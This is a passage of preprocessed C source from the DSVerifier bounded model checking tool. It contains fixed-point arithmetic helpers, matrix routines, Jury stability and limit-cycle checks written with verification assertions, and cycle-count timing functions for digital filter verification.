0.477008077263598f, -0.661282403679070f, 0.271643442525556f, -0.915994079618801f, 0.196564556546175f, 0.378359035245796f, 0.584016730657668f, -0.0377864332655202f, -0.327376192853106f, 0.850744189707984f, 0.799571679043808f, -0.111126908452029f, 0.525587242291601f, -0.404486180733535f, -0.134496922397279f, 0.0890128096708100f, -0.815560643303157f, -0.920166023598312f, -0.360079578314899f, -0.556238898466371f, -0.220978103133838f, -0.571530268052405f, 0.573332217175226f, -0.133862258696460f, -0.982130330352248f, -0.352538465285082f, 0.318683937697894f, -0.790927430842686f, 0.691168535237102f, 0.806014327242002f, -0.981639450008060f, 0.407200095027265f, 0.918249921845949f, 0.776880149695420f, -0.437773083955269f, -0.385117533333437f, 0.0115152415796460f, 0.687224538003991f, 0.992524870612626f, 0.471003324792228f, -0.873541777412034f, -0.560923118634380f, -0.726151823613842f, -0.538941951730010f, 0.772057551475325f, 0.858490725829641f, -0.168849338472479f };
# 102 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t wrap(fxp_t kX, fxp_t kLowerBound, fxp_t kUpperBound)
{
int32_t range_size = kUpperBound - kLowerBound + 1;
if (kX < kLowerBound){
kX += range_size * ((kLowerBound - kX) / range_size + 1);
}
return kLowerBound + (kX - kLowerBound) % range_size;
}
fxp_t fxp_get_int_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_imask) : in & _fxp_imask);
}
fxp_t fxp_get_frac_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_fmask) : in & _fxp_fmask);
}
float fxp_to_float(fxp_t fxp);
fxp_t fxp_quantize(fxp_t aquant) {
if (overflow_mode == 2) {
if(aquant < _fxp_min) {
return _fxp_min;
}
else if(aquant > _fxp_max) {
return _fxp_max;
}
}
else if (overflow_mode == 3) {
if(aquant < _fxp_min || aquant > _fxp_max) {
return wrap(aquant, _fxp_min, _fxp_max);
}
}
return (fxp_t) aquant;
}
void fxp_verify_overflow(fxp_t value){
fxp_quantize(value);
printf("An Overflow Occurred in system's output");
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
void fxp_verify_overflow_node(fxp_t value, char* msg){
if (1 == 2)
{
printf("%s",msg);
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
}
void fxp_verify_overflow_array(fxp_t array[], int n){
int i=0;
for(i=0; i<n;i++){
fxp_verify_overflow(array[i]);
}
}
fxp_t fxp_int_to_fxp(int in) {
fxp_t lin;
lin = (fxp_t) in*_fxp_one;
return lin;
}
int fxp_to_int(fxp_t fxp) {
if(fxp >= 0){
fxp += _fxp_half;
} else {
fxp -= _fxp_half;
}
fxp >>= impl.frac_bits;
return (int) fxp;
}
fxp_t fxp_float_to_fxp(float f) {
fxp_t tmp;
double ftemp;
ftemp = f * scale_factor[impl.frac_bits];
if(f >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
return tmp;
}
fxp_t fxp_double_to_fxp(double value) {
fxp_t tmp;
double ftemp = value * scale_factor[impl.frac_bits];
if (rounding_mode == 0){
if(value >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
} else if(rounding_mode == 1){
tmp = (fxp_t) ftemp;
double residue = ftemp - tmp;
if ((value < 0) && (residue != 0)){
ftemp = ftemp - 1;
tmp = (fxp_t) ftemp;
}
} else if (rounding_mode == 0){
tmp = (fxp_t) ftemp;
}
return tmp;
}
void fxp_float_to_fxp_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_float_to_fxp(f[i]);
}
}
void fxp_double_to_fxp_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_double_to_fxp(f[i]);
}
}
# 275 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
float fxp_to_float(fxp_t fxp) {
float f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
double fxp_to_double(fxp_t fxp) {
double f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
void fxp_to_float_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_float(r[i]);
}
}
void fxp_to_double_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_double(r[i]);
}
}
fxp_t fxp_abs(fxp_t a) {
fxp_t tmp;
tmp = ((a < 0) ? -(fxp_t)(a) : a);
tmp = fxp_quantize(tmp);
return tmp;
}
fxp_t fxp_add(fxp_t aadd, fxp_t badd) {
fxp_t tmpadd;
tmpadd = ((fxp_t)(aadd) + (fxp_t)(badd));
tmpadd = fxp_quantize(tmpadd);
return tmpadd;
}
fxp_t fxp_sub(fxp_t asub, fxp_t bsub) {
fxp_t tmpsub;
tmpsub = (fxp_t)((fxp_t)(asub) - (fxp_t)(bsub));
tmpsub = fxp_quantize(tmpsub);
return tmpsub;
}
fxp_t fxp_mult(fxp_t amult, fxp_t bmult) {
fxp_t tmpmult, tmpmultprec;
tmpmult = (fxp_t)((fxp_t)(amult)*(fxp_t)(bmult));
if (tmpmult >= 0) {
tmpmultprec = (tmpmult + ((tmpmult & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits;
} else {
tmpmultprec = -(((-tmpmult) + (((-tmpmult) & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits);
}
tmpmultprec = fxp_quantize(tmpmultprec);
return tmpmultprec;
}
# 372 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_div(fxp_t a, fxp_t b){
__DSVERIFIER_assume( b!=0 );
fxp_t tmpdiv = ((a << impl.frac_bits) / b);
tmpdiv = fxp_quantize(tmpdiv);
return tmpdiv;
}
fxp_t fxp_neg(fxp_t aneg) {
fxp_t tmpneg;
tmpneg = -(fxp_t)(aneg);
tmpneg = fxp_quantize(tmpneg);
return tmpneg;
}
# 398 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_sign(fxp_t a) {
return ((a == 0) ? 0 : ((a < 0) ? _fxp_minus_one : _fxp_one) );
}
fxp_t fxp_shrl(fxp_t in, int shift) {
return (fxp_t) (((unsigned int) in) >> shift);
}
fxp_t fxp_square(fxp_t a) {
return fxp_mult(a, a);
}
void fxp_print_int(fxp_t a) {
printf("\n%i", (int32_t)a);
}
void fxp_print_float(fxp_t a) {
printf("\n%f", fxp_to_float(a));
}
void fxp_print_float_array(fxp_t a[], int N) {
int i;
for(i = 0; i < N; ++i) {
printf("\n%f", fxp_to_float(a[i]));
}
}
void print_fxp_array_elements(char * name, fxp_t * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %jd ", v[i]);
}
printf("}\n");
}
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 1
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
void initialize_array(double v[], int n){
int i;
for(i=0; i<n; i++){
v[i] = 0;
}
}
void revert_array(double v[], double out[], int n){
initialize_array(out,n);
int i;
for(i=0; i<n; i++){
out[i] = v[n-i-1];
}
}
double internal_pow(double a, double b){
int i;
double acc = 1;
for (i=0; i < b; i++){
acc = acc*a;
}
return acc;
}
double internal_abs(double a){
return a < 0 ? -a : a;
}
int fatorial(int n){
return n == 0 ? 1 : n * fatorial(n-1);
}
int check_stability(double a[], int n){
int lines = 2 * n - 1;
int columns = n;
double m[lines][n];
int i,j;
double current_stability[n];
for (i=0; i < n; i++){
current_stability[i] = a[i];
}
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
if (sum <= 0){
printf("[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)");
return 0;
}
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
if (sum <= 0){
printf("[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)");
return 0;
}
if (internal_abs(a[n-1]) > a[0]){
printf("[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})");
return 0;
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
}
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
}
}
}
int first_is_positive = m[0][0] >= 0 ? 1 : 0;
for (i=0; i < lines; i++){
if (i % 2 == 0){
int line_is_positive = m[i][0] >= 0 ? 1 : 0;
if (first_is_positive != line_is_positive){
return 0;
}
continue;
}
}
return 1;
}
void poly_sum(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
Nans = Na>Nb? Na:Nb;
for (i=0; i<Nans; i++){
if (Na>Nb){
ans[i]=a[i];
if (i > Na-Nb-1){
ans[i]=ans[i]+b[i-Na+Nb];
}
}else {
ans[i]=b[i];
if (i> Nb - Na -1){
ans[i]=ans[i]+a[i-Nb+Na];
}
}
}
}
void poly_mult(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
int j;
int k;
Nans = Na+Nb-1;
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=0;
}
}
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=ans[k]+a[Na - i - 1]*b[Nb - j - 1];
}
}
}
void double_check_oscillations(double * y, int y_size){
__DSVERIFIER_assume(y[0] != y[y_size - 1]);
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
((void) sizeof ((
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ; else __assert_fail (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
"!(window_count == window_size)"
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h", 209, __extension__ __PRETTY_FUNCTION__); }))
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
;
}
}else{
break;
}
window_timer++;
}
}
}
void double_check_limit_cycle(double * y, int y_size){
double reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assert(desired_elements != found_elements);
}
void double_check_persistent_limit_cycle(double * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
double reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
double lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void print_array_elements(char * name, double * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %.32f ", v[i]);
}
printf("}\n");
}
void double_add_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] + m2[i][j];
}
}
}
void double_sub_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] - m2[i][j];
}
}
}
void double_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, double m1[4][4], double m2[4][4], double m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
double mult = (m1[i][k] * m2[k][j]);
m3[i][j] = m3[i][j] + (m1[i][k] * m2[k][j]);
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
m3[i][j] = fxp_add( m3[i][j], fxp_mult(m1[i][k] , m2[k][j]));
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_exp_matrix(unsigned int lines, unsigned int columns, fxp_t m1[4][4], unsigned int expNumber, fxp_t result[4][4]){
unsigned int i, j, l, k;
fxp_t m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = fxp_double_to_fxp(1.0);
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = fxp_add( result[i][j], fxp_mult(m2[i][k] , m1[k][j]));
}
}
}
}
}
void double_exp_matrix(unsigned int lines, unsigned int columns, double m1[4][4], unsigned int expNumber, double result[4][4]){
unsigned int i, j, k, l;
double m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = 1.0;
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = result[i][j] + (m2[i][k] * m1[k][j]);
}
}
}
}
}
void fxp_add_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) {
result[i][j] = fxp_add(m1[i][j] , m2[i][j]);
}
}
void fxp_sub_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = fxp_sub(m1[i][j] , m2[i][j]);
}
void print_matrix(double matrix[4][4], unsigned int lines, unsigned int columns){
printf("\nMatrix\n=====================\n\n");
unsigned int i, j;
for (i=0; i<lines; i++) {
for (j=0; j<columns; j++) {
printf("#matrix[%d][%d]: %2.2f ", i,j,matrix[i][j]);
}
printf("\n");
}
printf("\n");
}
double determinant(double a[4][4],int n)
{
int i,j,j1,j2;
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
double fxp_determinant(fxp_t a_fxp[4][4],int n)
{
int i,j,j1,j2;
double a[4][4];
for(i=0; i<n;i++){
for(j=0; j<n;j++){
a[i][j]= fxp_to_double(a_fxp[i][j]);
}
}
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
void transpose(double a[4][4], double b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
void fxp_transpose(fxp_t a[4][4], fxp_t b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
extern int generic_timer;
extern hardware hw;
double generic_timing_shift_l_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[0];
generic_timer += ((5 * hw.assembly.ldd) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.ld));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < N - 1; i++) {
generic_timer += ((17 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (6 * hw.assembly.mov) + (2 * hw.assembly.adiw) + (5 * hw.assembly.std) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbc)+ (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
z[i] = z[i + 1];
}
z[N - 1] = zIn;
generic_timer += ((12 * hw.assembly.ldd) + (6 * hw.assembly.mov) + (3 * hw.assembly.std) + (2 * hw.assembly.lsl) + (2 * hw.assembly.rol) + (1 * hw.assembly.adc) + (1 * hw.assembly.add) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in)+ (1 * hw.assembly.cli));
generic_timer += ((3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret));
return (zOut);
}
double generic_timing_shift_r_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[N - 1];
generic_timer += ((7 * hw.assembly.ldd) + (2 * hw.assembly.rol) + (2 * hw.assembly.lsl) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.add) + (1 * hw.assembly.adc) + (1 * hw.assembly.ld) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci));
generic_timer += ((2 * hw.assembly.ldd) + (2 * hw.assembly.std) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.rjmp));
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
generic_timer += ((15 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (4 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
}
z[0] = zIn;
generic_timer += ((10 * hw.assembly.ldd) + (5 * hw.assembly.mov) + (3 * hw.assembly.std) + (3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret) + (1 * hw.assembly.ret) + (1 * hw.assembly.cli) + (1 * hw.assembly.in) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw));
return zOut;
}
fxp_t shiftL(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
fxp_t shiftR(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
float shiftLfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
float shiftRfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftRDdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
double shiftRdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftLDouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
void shiftLboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[0];
zfOut = zf[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
zf[i] = zf[i + 1];
}
z[N - 1] = zIn;
zf[N - 1] = zfIn;
}
void shiftRboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[N - 1];
zfOut = zf[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
zf[i] = zf[i - 1];
}
z[0] = zIn;
zf[0] = zfIn;
}
int order(int Na, int Nb) {
return Na > Nb ? Na - 1 : Nb - 1;
}
void fxp_check_limit_cycle(fxp_t y[], int y_size){
fxp_t reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
__DSVERIFIER_assume(found_elements > 0);
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assume(found_elements == desired_elements);
__DSVERIFIER_assert(0);
}
void fxp_check_persistent_limit_cycle(fxp_t * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
fxp_t reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
fxp_t lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void fxp_check_oscillations(fxp_t y[] , int y_size){
__DSVERIFIER_assume((y[0] != y[y_size - 1]) && (y[y_size - 1] != y[y_size - 2]));
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
__DSVERIFIER_assert(!(window_count == window_size));
}
}else{
break;
}
window_timer++;
}
}
}
int fxp_ln(int x) {
int t, y;
y = 0xa65af;
if (x < 0x00008000)
x <<= 16, y -= 0xb1721;
if (x < 0x00800000)
x <<= 8, y -= 0x58b91;
if (x < 0x08000000)
x <<= 4, y -= 0x2c5c8;
if (x < 0x20000000)
x <<= 2, y -= 0x162e4;
if (x < 0x40000000)
x <<= 1, y -= 0x0b172;
t = x + (x >> 1);
if ((t & 0x80000000) == 0)
x = t, y -= 0x067cd;
t = x + (x >> 2);
if ((t & 0x80000000) == 0)
x = t, y -= 0x03920;
t = x + (x >> 3);
if ((t & 0x80000000) == 0)
x = t, y -= 0x01e27;
t = x + (x >> 4);
if ((t & 0x80000000) == 0)
x = t, y -= 0x00f85;
t = x + (x >> 5);
if ((t & 0x80000000) == 0)
x = t, y -= 0x007e1;
t = x + (x >> 6);
if ((t & 0x80000000) == 0)
x = t, y -= 0x003f8;
t = x + (x >> 7);
if ((t & 0x80000000) == 0)
x = t, y -= 0x001fe;
x = 0x80000000 - x;
y -= x >> 15;
return y;
}
double fxp_log10_low(double x) {
int xint = (int) (x * 65536.0 + 0.5);
int lnum = fxp_ln(xint);
int lden = fxp_ln(655360);
return ((double) lnum / (double) lden);
}
double fxp_log10(double x) {
if (x > 32767.0) {
if (x > 1073676289.0) {
x = x / 1073676289.0;
return fxp_log10_low(x) + 9.030873362;
}
x = x / 32767.0;
return fxp_log10_low(x) + 4.515436681;
}
return fxp_log10_low(x);
}
float snrVariance(float s[], float n[], int blksz) {
int i;
double sm = 0, nm = 0, sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sm += s[i];
nm += n[i];
}
sm /= blksz;
nm /= blksz;
for (i = 0; i < blksz; i++) {
sv += (s[i] - sm) * (s[i] - sm);
nv += (n[i] - nm) * (n[i] - nm);
}
if (nv != 0.0f) {
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
